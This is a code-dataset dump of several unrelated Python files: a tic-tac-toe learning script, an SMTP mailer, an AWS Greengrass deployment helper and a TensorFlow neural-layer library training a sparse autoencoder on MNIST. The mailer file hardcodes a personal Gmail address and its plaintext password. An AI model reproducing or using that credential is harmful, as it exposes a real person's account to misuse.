pickle.load(handle)\r\n\r\n for i in range(1):\r\n if(i % 1000 == 0):\r\n print(i)\r\n if(i % 10 == 0):\r\n p1.eps = max(p1.eps*0.996,0.10)\r\n p2.eps = max(p1.eps*0.996,0.10)\r\n play(game, p1,p2)\r\n p1.history=[]\r\n p2.history=[]\r\n human = morpion_player(is_human=True, trainable=False)\r\n \r\n #with open('VLR_000000001.pickle', 'wb') as handle:\r\n # pickle.dump(p1.V, handle, protocol=pickle.HIGHEST_PROTOCOL) \r\n\r\n for i in p1.V:\r\n print(i,p1.V[i])\r\n while(True):\r\n play(game,p1,human, train=False)\r\n \r\n\r\n\r\n","sub_path":"morpion.py","file_name":"morpion.py","file_ext":"py","file_size_in_byte":7503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"154325670","text":"import smtplib\nsender = \"johannes.senn@gmail.com\"\nreceivers = \"ubddz@student.kit.edu\"\npw = \"5b=Pps*G\"\n\nmessage = \"\"\"From: From Person \nTo: To Person \nSubject: SMTP e-mail test\n\nThis is a test e-mail message.\n\"\"\"\nsmtpObj = smtplib.SMTP(\"smtp.gmail.com\", 587)\nsmtpObj.ehlo()\nsmtpObj.starttls()\nsmtpObj.ehlo()\nsmtpObj.login(sender, pw)\nsmtpObj.sendmail(sender, receivers, message)\n#smtpObj.close()\n#print( \"successfully sent email\")\n#except:\n# print( \"Error: unable to send email\")\n\n","sub_path":"mailer.py","file_name":"mailer.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"122956758","text":"import os\nimport errno\nimport fire\nimport json\nimport yaml\nimport shutil\nimport urllib\nfrom time import sleep\nimport logging\nfrom boto3 import session\nfrom botocore.exceptions import ClientError\nimport zipfile\nimport sys\nimport json\n\nlogging.basicConfig(\n format='%(asctime)s|%(name).10s|%(levelname).5s: %(message)s',\n level=logging.WARNING)\nlog = logging.getLogger('b-deploy')\nlog.setLevel(logging.DEBUG)\n\nclass BulkDeployment(object):\n def __init__(self):\n s = session.Session()\n self._region = s.region_name\n if not self._region:\n log.error(\"AWS credentials and region must be setup. \"\n \"Refer AWS docs at https://goo.gl/JDi5ie\")\n exit(-1)\n\n log.info(\"AWS credentials found for region '{}'\".format(self._region))\n\n self._gg = s.client(\"greengrass\")\n self._lambda = s.client(\"lambda\")\n self._s3 = s.client('s3')\n self.S3_BUCKET_NAME = \"greengrass-aws-spike\"\n\n def update_lambda(self, function_name=\"GreengrassHelloWorld\", folder=\"GreengrassHelloWorld\", program_name=\"greengrassHelloWorld.py\", handler=\"greengrassHelloWorld.function_handler\", alias=\"dev\"):\n # Step 1. Zip the file\n zip_filename = folder + \".zip\"\n zf = zipfile.ZipFile(zip_filename, \"w\")\n for path, subdirs, files in os.walk(\"greengrasssdk\"):\n for name in files:\n zf.write(os.path.join(path, name))\n zf.write(program_name)\n zf.close()\n log.info(\"Zip file Created.\")\n\n # Step 2. Upload zip to S3\n self._s3.upload_file(zip_filename, self.S3_BUCKET_NAME, zip_filename)\n log.info(\"Uploaded Zip File to S3\")\n\n # Step 3. Upload Lambda Function Code\n self._lambda.update_function_code(FunctionName=function_name, S3Bucket=self.S3_BUCKET_NAME, S3Key=zip_filename)\n log.info(\"Updated Lambda Function Code\")\n\n # Step 4. Update Function Configuration\n self._lambda.update_function_configuration(FunctionName=function_name, Handler=handler)\n log.info(\"Updated Lambda Function Handler\")\n\n # Step 5. Publish New Version for Lambda and get version number\n resp = self._lambda.publish_version(FunctionName=function_name)\n version_num = resp[\"Version\"]\n log.info(\"Published New Version of Lambda: Version {}\".format(version_num))\n\n # Step 6. Update Current Alias\n self._lambda.update_alias(FunctionName=function_name, FunctionVersion=str(version_num), Name=alias)\n log.info(\"Lambda Alias ({}) Updated\".format(alias))\n log.info(\"Run the deploy method to actually deploy the code to the GreenGrass Cores\")\n\n def deploy(self):\n # Step 7. Bulk Deploy\n gg_groups = self._gg.list_groups()\n version_dict = {}\n for group in gg_groups[\"Groups\"]:\n group_id = group[\"Id\"]\n group_versions = self._gg.list_group_versions(GroupId=group_id)\n version_id = group_versions[\"Versions\"][0][\"Version\"]\n version_dict[group_id] = version_id\n\n filename = \"deployment.txt\"\n deployfile = open(filename,\"w+\")\n for k in version_dict.keys():\n deployfile.write(\"{\\\"GroupId\\\":\\\"\" + k + \"\\\", \\\"GroupVersionId\\\":\\\"\" + version_dict[k] + \"\\\", \\\"DeploymentType\\\":\\\"NewDeployment\\\"}\\n\")\n deployfile.close()\n\n self._s3.upload_file(filename, self.S3_BUCKET_NAME, filename)\n file_uri = \"s3://\" + self.S3_BUCKET_NAME + \"/\" + filename\n response = self._gg.start_bulk_deployment(ExecutionRoleArn=\"arn:aws:iam::376854259490:role/GreenGrassBulk\", InputFileUri=file_uri)\n log.info(\"Start Bulk Deployment\")\n bulk_dep_id = response[\"BulkDeploymentId\"]\n\n # Step 8. View Bulk Deployment Status\n while True:\n response = self._gg.get_bulk_deployment_status(BulkDeploymentId=bulk_dep_id)\n if response[\"BulkDeploymentStatus\"] == \"Failed\":\n print(response[\"ErrorMessage\"])\n break\n\n if response[\"BulkDeploymentStatus\"] == \"Completed\":\n print(\"Succesfully deployed to all devices\")\n break\n\ndef main():\n fire.Fire(BulkDeployment)\n\nif __name__ == '__main__':\n main()\n","sub_path":"automation/Deployment/bulkDeploy.py","file_name":"bulkDeploy.py","file_ext":"py","file_size_in_byte":4226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"612255868","text":"import tensorflow as tf\nimport numpy as np\nimport sys, os,cv2\nfrom sklearn.utils import shuffle\nfrom scipy.misc import imread,imresize\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import OneHotEncoder\nfrom skimage.transform import resize\nfrom imgaug import augmenters as iaa\nimport nibabel as nib\nimport imgaug as ia\nfrom scipy.ndimage import zoom\n\nold_v = tf.logging.get_verbosity()\ntf.logging.set_verbosity(tf.logging.ERROR)\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nplt.style.use('seaborn-white')\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \nnp.random.seed(6278)\ntf.set_random_seed(6728)\nia.seed(6278)\n\n# ======= Activation Function ==========\ndef tf_elu(x): return tf.nn.elu(x)\ndef d_tf_elu(x): return tf.cast(tf.greater(x,0),tf.float32) + (tf_elu(tf.cast(tf.less_equal(x,0),tf.float32) * x) + 1.0)\n\ndef tf_tanh(x): return tf.nn.tanh(x)\ndef d_tf_tanh(x): return 1 - tf_tanh(x) ** 2\n\ndef tf_sigmoid(x): return tf.nn.sigmoid(x) \ndef d_tf_sigmoid(x): return tf_sigmoid(x) * (1.0-tf_sigmoid(x))\n\ndef tf_atan(x): return tf.atan(x)\ndef d_tf_atan(x): return 1.0/(1.0 + x**2)\n\ndef tf_iden(x): return x\ndef d_tf_iden(x): return 1.0\n\ndef tf_softmax(x): return tf.nn.softmax(x)\ndef softabs(x): return tf.sqrt(x ** 2 + 1e-20)\n# ======= Activation Function ==========\n\n# ====== miscellaneous =====\n# code from: https://github.com/tensorflow/tensorflow/issues/8246\ndef tf_repeat(tensor, repeats):\n \"\"\"\n Args:\n\n input: A Tensor. 1-D or higher.\n repeats: A list. Number of repeat for each dimension, length must be the same as the number of dimensions in input\n\n Returns:\n \n A Tensor. Has the same type as input. Has the shape of tensor.shape * repeats\n \"\"\"\n expanded_tensor = tf.expand_dims(tensor, -1)\n multiples = [1] + repeats\n tiled_tensor = tf.tile(expanded_tensor, multiples = multiples)\n repeated_tesnor = tf.reshape(tiled_tensor, tf.shape(tensor) * repeats)\n return repeated_tesnor\ndef unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n# ====== miscellaneous =====\n\n# ================= LAYER CLASSES =================\nclass CNN():\n \n def __init__(self,k,inc,out,act=tf_elu,d_act=d_tf_elu):\n self.w = tf.Variable(tf.random_normal([k,k,inc,out],stddev=0.05,seed=2,dtype=tf.float64))\n self.m,self.v_prev = tf.Variable(tf.zeros_like(self.w)),tf.Variable(tf.zeros_like(self.w))\n self.act,self.d_act = act,d_act\n\n def getw(self): return [self.w]\n\n def feedforward(self,input,stride=1,padding='SAME'):\n self.input = input\n self.layer = tf.nn.conv2d(input,self.w,strides=[1,stride,stride,1],padding=padding) \n self.layerA = self.act(self.layer)\n return self.layerA \n\n def backprop(self,gradient,stride=1,padding='SAME'):\n grad_part_1 = gradient \n grad_part_2 = self.d_act(self.layer) \n grad_part_3 = self.input\n\n grad_middle = grad_part_1 * grad_part_2\n\n grad = tf.nn.conv2d_backprop_filter(input = grad_part_3,filter_sizes = self.w.shape,out_backprop = grad_middle,\n strides=[1,stride,stride,1],padding=padding\n )\n\n grad_pass = tf.nn.conv2d_backprop_input(input_sizes = [batch_size] + list(grad_part_3.shape[1:]),filter= self.w,out_backprop = grad_middle,\n strides=[1,stride,stride,1],padding=padding\n )\n\n update_w = []\n update_w.append(tf.assign( self.m,self.m*beta1 + (1-beta1) * (grad) ))\n update_w.append(tf.assign( self.v_prev,self.v_prev*beta2 + (1-beta2) * (grad ** 2) ))\n m_hat = self.m / (1-beta1)\n v_hat = self.v_prev / (1-beta2)\n adam_middel = learning_rate/(tf.sqrt(v_hat) + adam_e)\n update_w.append(tf.assign(self.w,tf.subtract(self.w,tf.multiply(adam_middel,m_hat) ))) \n\n return grad_pass,update_w \n\nclass CNN_3D():\n \n def __init__(self,filter_depth,filter_height,filter_width,in_channels,out_channels,act=tf_elu,d_act=d_tf_elu):\n self.w = tf.Variable(tf.random_normal([filter_depth,filter_height,filter_width,in_channels,out_channels],stddev=0.05,seed=2,dtype=tf.float64))\n self.b = tf.Variable(tf.random_normal([out_channels],stddev=0.05,seed=2,dtype=tf.float64))\n self.act,self.d_act = act,d_act\n def getw(self): return [self.w]\n\n def feedforward(self,input,stride=1,padding='SAME',res=True):\n self.input = input\n self.layer = tf.nn.conv3d(input,self.w,strides=[1,1,1,1,1],padding=padding) + self.b\n self.layerA = self.act(self.layer)\n if res:\n return self.layerA + self.input\n else:\n return self.layerA \n\n def backprop(self):\n raise NotImplementedError(\"Not Implemented Yet\")\n\nclass CNN_Trans():\n \n def __init__(self,k,inc,out,act=tf_elu,d_act=d_tf_elu):\n self.w = tf.Variable(tf.random_normal([k,k,inc,out],stddev=0.05,seed=2,dtype=tf.float64))\n self.m,self.v_prev = tf.Variable(tf.zeros_like(self.w)),tf.Variable(tf.zeros_like(self.w))\n self.act,self.d_act = act,d_act\n\n def getw(self): return [self.w]\n\n def feedforward(self,input,stride=1,padding='SAME'):\n self.input = input\n output_shape2 = self.input.shape[2].value * stride\n self.layer = tf.nn.conv2d_transpose(\n input,self.w,output_shape=[batch_size,output_shape2,output_shape2,self.w.shape[2].value],\n strides=[1,stride,stride,1],padding=padding) \n self.layerA = self.act(self.layer)\n return self.layerA \n\n def backprop(self,gradient,stride=1,padding='SAME'):\n grad_part_1 = gradient \n grad_part_2 = self.d_act(self.layer) \n grad_part_3 = self.input\n\n grad_middle = grad_part_1 * grad_part_2\n\n grad = tf.nn.conv2d_backprop_filter(input = grad_middle,\n filter_sizes = self.w.shape,out_backprop = grad_part_3,\n strides=[1,stride,stride,1],padding=padding\n )\n\n grad_pass = tf.nn.conv2d(\n input=grad_middle,filter = self.w,strides=[1,stride,stride,1],padding=padding\n )\n \n update_w = []\n update_w.append(tf.assign( self.m,self.m*beta1 + (1-beta1) * (grad) ))\n update_w.append(tf.assign( self.v_prev,self.v_prev*beta2 + (1-beta2) * (grad ** 2) ))\n m_hat = self.m / (1-beta1)\n v_hat = self.v_prev / (1-beta2)\n adam_middel = learning_rate/(tf.sqrt(v_hat) + adam_e)\n update_w.append(tf.assign(self.w,tf.subtract(self.w,tf.multiply(adam_middel,m_hat) ))) \n\n return grad_pass,update_w \n\nclass RNN_CNN():\n\n def __init__(self,timestamp,c_in,c_out,x_kernel,h_kernel,size,act=tf_elu,d_act=d_tf_elu):\n\n self.w = tf.Variable(tf.random_normal([x_kernel,x_kernel,c_in,c_out],stddev=0.05,seed=2,dtype=tf.float64))\n self.h = tf.Variable(tf.random_normal([h_kernel,h_kernel,c_out,c_out],stddev=0.05,seed=2,dtype=tf.float64))\n\n self.act = act; self.d_act = d_act\n\n self.input_record = tf.Variable(tf.zeros([timestamp,batch_size,size,size,c_in],tf.float64))\n self.hidden_record = tf.Variable(tf.zeros([timestamp+1,batch_size,size,size,c_out],tf.float64))\n self.hiddenA_record = tf.Variable(tf.zeros([timestamp+1,batch_size,size,size,c_out],tf.float64))\n \n self.m_x,self.v_x = tf.Variable(tf.zeros_like(self.w,dtype=tf.float64)),tf.Variable(tf.zeros_like(self.w,dtype=tf.float64))\n self.m_h,self.v_h = tf.Variable(tf.zeros_like(self.h,dtype=tf.float64)),tf.Variable(tf.zeros_like(self.h,dtype=tf.float64))\n\n def feedfoward(self,input,timestamp):\n\n # assign the input for back prop\n hidden_assign = []\n hidden_assign.append(tf.assign(self.input_record[timestamp,:,:,:],input))\n\n # perform feed forward\n layer = tf.nn.conv2d(input,self.w,strides=[1,1,1,1],padding='SAME') + tf.nn.conv2d(self.hidden_record[timestamp,:,:,:,:],self.h,strides=[1,1,1,1],padding='SAME') \n layerA = self.act(layer)\n\n # assign for back prop\n hidden_assign.append(tf.assign(self.hidden_record[timestamp+1,:,:,:,:],layer))\n hidden_assign.append(tf.assign(self.hiddenA_record[timestamp+1,:,:,:,:],layerA))\n\n return layerA, hidden_assign \n\n def backprop(self,grad,timestamp):\n\n grad_1 = grad\n grad_2 = self.d_act(self.hidden_record[timestamp,:,:,:,:])\n grad_3_x = self.input_record[timestamp,:,:,:,:]\n grad_3_h = self.hiddenA_record[timestamp-1,:,:,:,:]\n\n grad_middle = grad_1 * grad_2\n\n grad_x = tf.nn.conv2d_backprop_filter(\n input=grad_3_x,filter_size = self.w.shape,\n out_backprop = grad_middle,strides=[1,1,1,1],padding='SAME'\n )\n\n grad_h = tf.nn.conv2d_backprop_filter(\n input=grad_3_h,filter_size = self.h.shape,\n out_backprop = grad_middle,strides=[1,1,1,1],padding='SAME'\n )\n\n grad_pass = tf.nn.conv2d_backprop_input(\n input_size = self.hiddenA_record[timestamp-1,:,:,:].shape,\n filter=self.h,out_backprop = grad_middle,\n strides=[1,1,1,1],padding='SAME'\n )\n\n update_w = []\n # === update x ====\n update_w.append( tf.assign(self.m_x,beta_1*self.m_x + (1-beta_1) * grad_x) )\n update_w.append( tf.assign(self.v_x,beta_2*self.v_x + (1-beta_2) * grad_x ** 2) )\n m_hat_x = self.m_x/(1-beta_1)\n v_hat_x = self.v_x/(1-beta_2)\n adam_middle_x = learning_rate/(tf.sqrt(v_hat_x) + adam_e)\n update_w.append( tf.assign(self.w_x, tf.subtract(self.w_x,adam_middle_x*m_hat_x)) )\n\n # === update h ====\n update_w.append( tf.assign(self.m_h,beta_1*self.m_h + (1-beta_1) * grad_h) )\n update_w.append( tf.assign(self.v_h,beta_2*self.v_h + (1-beta_2) * grad_h ** 2) )\n m_hat_h = self.m_h/(1-beta_1)\n v_hat_h = self.v_h/(1-beta_2)\n adam_middle_h = learning_rate/(tf.sqrt(v_hat_h) + adam_e)\n update_w.append( tf.assign(self.w_h, tf.subtract(self.w_h,adam_middle_h*m_hat_h)) )\n \n return grad_pass,update_w\n \nclass ZigZag_RNN_CNN():\n\n def __init__(self,timestamp,c_in,c_out,x_kernel,h_kernel,size,act=tf_elu,d_act=d_tf_elu):\n \n self.w_1 = tf.Variable(tf.random_normal([x_kernel,x_kernel,c_in,c_out],stddev=0.05,seed=2))\n self.h_1 = tf.Variable(tf.random_normal([h_kernel,h_kernel,c_out,c_out],stddev=0.05,seed=2))\n\n self.act = act; self.d_act = d_act\n\n self.w_2 = tf.Variable(tf.random_normal([x_kernel,x_kernel,c_in,c_out],stddev=0.05,seed=2))\n self.h_2 = tf.Variable(tf.random_normal([h_kernel,h_kernel,c_out,c_out],stddev=0.05,seed=2))\n\n self.input_record_1 = tf.Variable(tf.zeros([timestamp,batch_size//2,size,size,c_in]))\n self.hidden_record_1 = tf.Variable(tf.zeros([timestamp+1,batch_size//2,size,size,c_out]))\n self.hiddenA_record_1 = tf.Variable(tf.zeros([timestamp+1,batch_size//2,size,size,c_out]))\n \n self.input_record_2 = tf.Variable(tf.zeros([timestamp,batch_size//2,size,size,c_in]))\n self.hidden_record_2 = tf.Variable(tf.zeros([timestamp+1,batch_size//2,size,size,c_out]))\n self.hiddenA_record_2 = tf.Variable(tf.zeros([timestamp+1,batch_size//2,size,size,c_out]))\n\n def feedforward_straight(self,input1,input2,timestamp):\n\n # assign the inputs \n hidden_assign = []\n \n # perform feed forward on left\n layer_1 = tf.nn.conv2d(input1,self.w_1,strides=[1,1,1,1],padding='SAME') + \\\n tf.nn.conv2d(self.hiddenA_record_1[timestamp,:,:,:,:],self.h_1,strides=[1,1,1,1],padding='SAME') \n layerA_1 = self.act(layer_1)\n\n # perform feed forward on right\n layer_2 = tf.nn.conv2d(input2,self.w_2,strides=[1,1,1,1],padding='SAME') + \\\n tf.nn.conv2d(self.hiddenA_record_2[timestamp,:,:,:,:],self.h_2,strides=[1,1,1,1],padding='SAME') \n layerA_2 = self.act(layer_2)\n \n # assign for left\n hidden_assign.append(tf.assign(self.hidden_record_1[timestamp+1,:,:,:,:],layer_1))\n hidden_assign.append(tf.assign(self.hiddenA_record_1[timestamp+1,:,:,:,:],layerA_1))\n\n # assign for right\n hidden_assign.append(tf.assign(self.hidden_record_2[timestamp+1,:,:,:,:],layer_2))\n hidden_assign.append(tf.assign(self.hiddenA_record_2[timestamp+1,:,:,:,:],layerA_2))\n\n return layerA_1,layerA_2,hidden_assign\n\n def feedforward_zigzag(self,input1,input2,timestamp):\n \n # assign the inputs \n hidden_assign = []\n \n # perform feed forward on left\n layer_1 = tf.nn.conv2d(input1,self.w_1,strides=[1,1,1,1],padding='SAME') + \\\n tf.nn.conv2d(self.hiddenA_record_2[timestamp,:,:,:,:],self.h_1,strides=[1,1,1,1],padding='SAME') \n layerA_1 = self.d_act(layer_1)\n\n # perform feed forward on right\n layer_2 = tf.nn.conv2d(input2,self.w_2,strides=[1,1,1,1],padding='SAME') + \\\n tf.nn.conv2d(self.hiddenA_record_1[timestamp,:,:,:,:],self.h_2,strides=[1,1,1,1],padding='SAME') \n layerA_2 = self.d_act(layer_2)\n \n # assign for left\n hidden_assign.append(tf.assign(self.hidden_record_1[timestamp+1,:,:,:,:],layer_1))\n hidden_assign.append(tf.assign(self.hiddenA_record_1[timestamp+1,:,:,:,:],layerA_1))\n\n # assign for right\n hidden_assign.append(tf.assign(self.hidden_record_2[timestamp+1,:,:,:,:],layer_2))\n hidden_assign.append(tf.assign(self.hiddenA_record_2[timestamp+1,:,:,:,:],layerA_2))\n\n return layerA_1,layerA_2,hidden_assign\n\nclass LSTM_CNN():\n \n def __init__(self):\n raise NotImplementedError(\"Not Implemented Yet\")\n\nclass FNN():\n \n def __init__(self,input_dim,hidden_dim,act,d_act,std=0.005):\n self.w = tf.Variable(\n (std+std)*\\\n tf.random_uniform([input_dim,hidden_dim], maxval=1.0,seed=2,dtype=tf.float64) - std\n )\n # self.w = tf.Variable(tf.random_normal([input_dim,hidden_dim], stddev=std,seed=2,dtype=tf.float64))\n self.m,self.v_prev = tf.Variable(tf.zeros_like(self.w)),tf.Variable(tf.zeros_like(self.w))\n self.v_hat_prev = tf.Variable(tf.zeros_like(self.w))\n self.act,self.d_act = act,d_act\n\n def getw(self): return [self.w]\n\n def feedforward(self,input=None):\n self.input = input\n self.layer = tf.matmul(input,self.w)\n self.layerA = self.act(self.layer)\n return self.layerA\n\n def backprop(self,gradient=None):\n grad_part_1 = gradient \n grad_part_2 = self.d_act(self.layer) \n grad_part_3 = self.input\n\n grad_middle = grad_part_1 * grad_part_2\n grad = tf.matmul(tf.transpose(grad_part_3),grad_middle) / batch_size\n grad = grad + self.w * lambda_value\n grad_pass = tf.matmul(tf.multiply(grad_part_1,grad_part_2),tf.transpose(self.w))\n\n update_w = []\n update_w.append(tf.assign( self.m,self.m*beta1 + (1-beta1) * (grad) ))\n update_w.append(tf.assign( self.v_prev,self.v_prev*beta2 + (1-beta2) * (grad ** 2) ))\n m_hat = self.m / (1-beta1)\n v_hat = self.v_prev / (1-beta2)\n adam_middel = learning_rate/(tf.sqrt(v_hat) + adam_e)\n update_w.append(tf.assign(self.w,tf.subtract(self.w,tf.multiply(adam_middel,m_hat) ))) \n\n return grad_pass,update_w \n\nclass RNN():\n \n def __init__(self):\n raise NotImplementedError(\"Not Implemented Yet\")\n\nclass LSTM():\n \n def __init__(self):\n raise NotImplementedError(\"Not Implemented Yet\")\n\nclass ICA_Layer():\n\n def __init__(self,inc):\n self.w_ica = tf.Variable(tf.random_normal([inc,inc],stddev=0.05,seed=2)) \n\n def feedforward(self,input):\n self.input = input\n self.ica_est = tf.matmul(input,self.w_ica)\n self.ica_est_act = tf_atan(self.ica_est)\n return self.ica_est_act\n\n def backprop(self):\n grad_part_2 = d_tf_atan(self.ica_est)\n grad_part_3 = self.input\n\n grad_pass = tf.matmul(grad_part_2,tf.transpose(self.w_ica))\n g_tf = tf.linalg.inv(tf.transpose(self.w_ica)) - (2/batch_size) * tf.matmul(tf.transpose(self.input),self.ica_est_act)\n\n update_w = []\n update_w.append(tf.assign(self.w_ica,self.w_ica+0.2*g_tf))\n\n return grad_pass,update_w \n\nclass Sparse_Filter_Layer():\n \n def __init__(self,outc,changec):\n self.w = tf.Variable(tf.random_normal([outc,changec],stddev=1.0,seed=2,dtype=tf.float64))\n self.epsilon = 1e-20\n\n def getw(self): return self.w\n\n def soft_abs(self,value):\n return tf.sqrt(value ** 2 + self.epsilon)\n\n def feedforward(self,input):\n self.sparse_layer = tf.matmul(input,self.w)\n second = self.soft_abs(self.sparse_layer )\n third = tf.divide(second,tf.sqrt(tf.reduce_sum(second**2,axis=0)+self.epsilon))\n four = tf.divide(third,tf.sqrt(tf.reduce_sum(third**2,axis=1)[:,tf.newaxis] +self.epsilon))\n self.cost_update = tf.reduce_mean(four)\n return self.sparse_layer ,self.cost_update\n\nclass SOM_Layer(): \n\n def __init__(self,m,n,dim,num_epoch,learning_rate_som = 0.04,radius_factor = 1.1, gaussian_std=0.5):\n \n self.m = m\n self.n = n\n self.dim = dim\n self.gaussian_std = gaussian_std\n self.num_epoch = num_epoch\n # self.map = tf.Variable(tf.random_uniform(shape=[m*n,dim],minval=0,maxval=1,seed=2))\n self.map = tf.Variable(tf.random_normal(shape=[m*n,dim],seed=2))\n\n self.location_vects = tf.constant(np.array(list(self._neuron_locations(m, n))))\n self.alpha = learning_rate_som\n self.sigma = max(m,n)*1.1\n\n def _neuron_locations(self, m, n):\n \"\"\"\n Yields one by one the 2-D locations of the individual neurons in the SOM.\n \"\"\"\n # Nested iterations over both dimensions to generate all 2-D locations in the map\n for i in range(m):\n for j in range(n):\n yield np.array([i, j])\n\n def getmap(self): return self.map\n def getlocation(self): return self.bmu_locs\n\n def feedforward(self,input):\n \n self.input = input\n self.grad_pass = tf.pow(tf.subtract(tf.expand_dims(self.map, axis=0),tf.expand_dims(self.input, axis=1)), 2)\n self.squared_distance = tf.reduce_sum(self.grad_pass, 2)\n self.bmu_indices = tf.argmin(self.squared_distance, axis=1)\n self.bmu_locs = tf.reshape(tf.gather(self.location_vects, self.bmu_indices), [-1, 2])\n\n def backprop(self,iter,num_epoch):\n\n # Update the weigths \n radius = tf.subtract(self.sigma,\n tf.multiply(iter,\n tf.divide(tf.cast(tf.subtract(self.alpha, 1),tf.float32),\n tf.cast(tf.subtract(num_epoch, 1),tf.float32))))\n\n alpha = tf.subtract(self.alpha,\n tf.multiply(iter,\n tf.divide(tf.cast(tf.subtract(self.alpha, 1),tf.float32),\n tf.cast(tf.subtract(num_epoch, 1),tf.float32))))\n\n self.bmu_distance_squares = tf.reduce_sum(\n tf.pow(tf.subtract(\n tf.expand_dims(self.location_vects, axis=0),\n tf.expand_dims(self.bmu_locs, axis=1)), 2), \n 2)\n\n self.neighbourhood_func = tf.exp(tf.divide(tf.negative(tf.cast(\n self.bmu_distance_squares, \"float32\")), tf.multiply(\n tf.square(tf.multiply(radius, self.gaussian_std)), 2)))\n\n self.learning_rate_op = tf.multiply(self.neighbourhood_func, alpha)\n \n self.numerator = tf.reduce_sum(\n tf.multiply(tf.expand_dims(self.learning_rate_op, axis=-1),\n tf.expand_dims(self.input, axis=1)), axis=0)\n\n self.denominator = tf.expand_dims(\n tf.reduce_sum(self.learning_rate_op,axis=0) + float(1e-20), axis=-1)\n\n self.new_weights = tf.div(self.numerator, self.denominator)\n self.update = [tf.assign(self.map, self.new_weights)]\n\n return self.update,tf.reduce_mean(self.grad_pass, 1)\n\n# PCA Layer following the implementation: https://ewanlee.github.io/2018/01/17/PCA-With-Tensorflow/\nclass PCA_Layer():\n \n def __init__(self,dim,channel):\n \n self.alpha = tf.Variable(tf.random_normal(shape=[dim//2,dim//2,channel],dtype=tf.float32,stddev=0.05))\n self.beta = tf.Variable(tf.ones(shape=[channel],dtype=tf.float32))\n\n self.current_sigma = None\n self.moving_sigma = tf.Variable(tf.zeros(shape=[(dim*dim*channel),(dim*dim*channel)//4],dtype=tf.float32))\n\n def feedforward(self,input,is_training):\n update_sigma = []\n\n # 1. Get the input Shape and reshape the tensor into [Batch,Dim]\n width,channel = input.shape[1],input.shape[3]\n reshape_input = tf.reshape(input,[batch_size,-1])\n trans_input = reshape_input.shape[1]\n\n # 2. Perform SVD and get the sigma value and get the sigma value\n singular_values, u, _ = tf.svd(reshape_input,full_matrices=False)\n\n def training_fn(): \n # 3. Training \n sigma1 = tf.diag(singular_values)\n sigma = tf.slice(sigma1, [0,0], [trans_input, (width*width*channel)//4])\n pca = tf.matmul(u, sigma)\n update_sigma.append(tf.assign(self.moving_sigma,self.moving_sigma*0.9 + sigma* 0.1 ))\n return pca,update_sigma\n\n def testing_fn(): \n # 4. Testing calculate hte pca using the Exponentially Weighted Moving Averages \n pca = tf.matmul(u, self.moving_sigma)\n return pca,update_sigma\n\n pca,update_sigma = tf.cond(is_training, true_fn=training_fn, false_fn=testing_fn)\n pca_reshaped = tf.reshape(pca,[batch_size,(width//2),(width//2),channel])\n out_put = self.alpha * pca_reshaped +self.beta \n \n return out_put,update_sigma\n\nclass Sparse_Coding():\n\n def __init__(self,input_dim,hidden_dim,act,d_act,std=0.005):\n self.w = tf.Variable(\n (std+std)*\\\n tf.random_uniform([input_dim,hidden_dim], maxval=1.0,seed=2,dtype=tf.float64) - std\n )\n # self.w = tf.Variable(tf.random_normal([input_dim,hidden_dim], stddev=std,seed=2,dtype=tf.float64))\n self.m,self.v = tf.Variable(tf.zeros_like(self.w)),tf.Variable(tf.zeros_like(self.w))\n self.act,self.d_act = act,d_act\n\n def getw(self): return [self.w]\n\n def feedforward(self,input):\n self.input = input\n self.layer = tf.matmul(input,self.w)\n self.layerA = self.act(self.layer) \n self.p = tf.reduce_mean(self.layerA,axis=0)\n return self.layerA,self.p\n\n def backprop(self,gradient,KL_div_grad):\n grad_part_1 = gradient \n grad_part_2 = self.d_act(self.layer) \n grad_part_3 = self.input\n\n grad_middle = grad_part_1 * grad_part_2\n grad = (tf.matmul(tf.transpose(grad_part_3),grad_middle)+KL_div_grad) / batch_size\n grad = grad + self.w * lambda_value\n grad_pass = tf.matmul(tf.multiply(grad_part_1,grad_part_2),tf.transpose(self.w))\n\n update_w = []\n update_w.append(tf.assign( self.m,self.m*beta1 + (1-beta1) * (grad) ))\n update_w.append(tf.assign( self.v,self.v*beta2 + (1-beta2) * (grad ** 2) ))\n m_hat = self.m / (1-beta1)\n v_hat = self.v / (1-beta2)\n adam_middel = learning_rate/(tf.sqrt(v_hat) + adam_e)\n update_w.append(tf.assign(self.w,tf.subtract(self.w,tf.multiply(adam_middel,m_hat) ))) \n\n return grad_pass,update_w \n# ================= LAYER CLASSES =================\n\n# data\nmnist = input_data.read_data_sets('../../Dataset/MNIST/', one_hot=True)\nx_data, train_label, y_data, test_label = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels\nx_data_added,x_data_added_label = mnist.validation.images,mnist.validation.labels\n\ntrain_batch = x_data[:1000,:]\ntrain_label = np.vstack((train_label,x_data_added_label))\ntest_batch = y_data\n\n# print out the data shape and the max and min value\nprint(train_batch.shape)\nprint(train_batch.max())\nprint(train_batch.min())\nprint(train_label.shape)\nprint(train_label.max())\nprint(train_label.min())\nprint(test_batch.shape)\nprint(test_batch.max())\nprint(test_batch.min())\nprint(test_label.shape)\nprint(test_label.max())\nprint(test_label.min())\n\n# hyper\nnum_epoch = 150\nbatch_size = 1000; print_size = 1\nlearning_rate = 0.05\n\nsparsity_parameter = 0.2 ;beta = 2.5\nlambda_value = 0.003\n\nbeta1,beta2,adam_e = 0.9,0.999,1e-8\n\n# class \nstd_value = np.sqrt(6.0 / (784 + 196 + 1.0))\nl0 = Sparse_Coding(784,196,act=tf_sigmoid,d_act=tf_sigmoid,std=std_value)\nl1 = FNN(196,784,act=tf_sigmoid,d_act=tf_sigmoid,std=std_value)\n\n# graph\nx = tf.placeholder(shape=[None,784],dtype=tf.float64)\n\nlayer0_W,layer1_W = l0.getw()[0],l1.getw()[0]\nlayer0,layer0_p = l0.feedforward(x)\nlayer1 = l1.feedforward(layer0)\n\nerror = -(x - layer1)\nsum_sq_error = 0.5 * tf.reduce_sum(error * error, axis = 1)\navg_sum_sq_error = tf.reduce_mean(sum_sq_error)\nreg_cost = lambda_value * \\\n(tf.reduce_sum(layer0_W * layer0_W) + tf.reduce_sum(layer1_W * 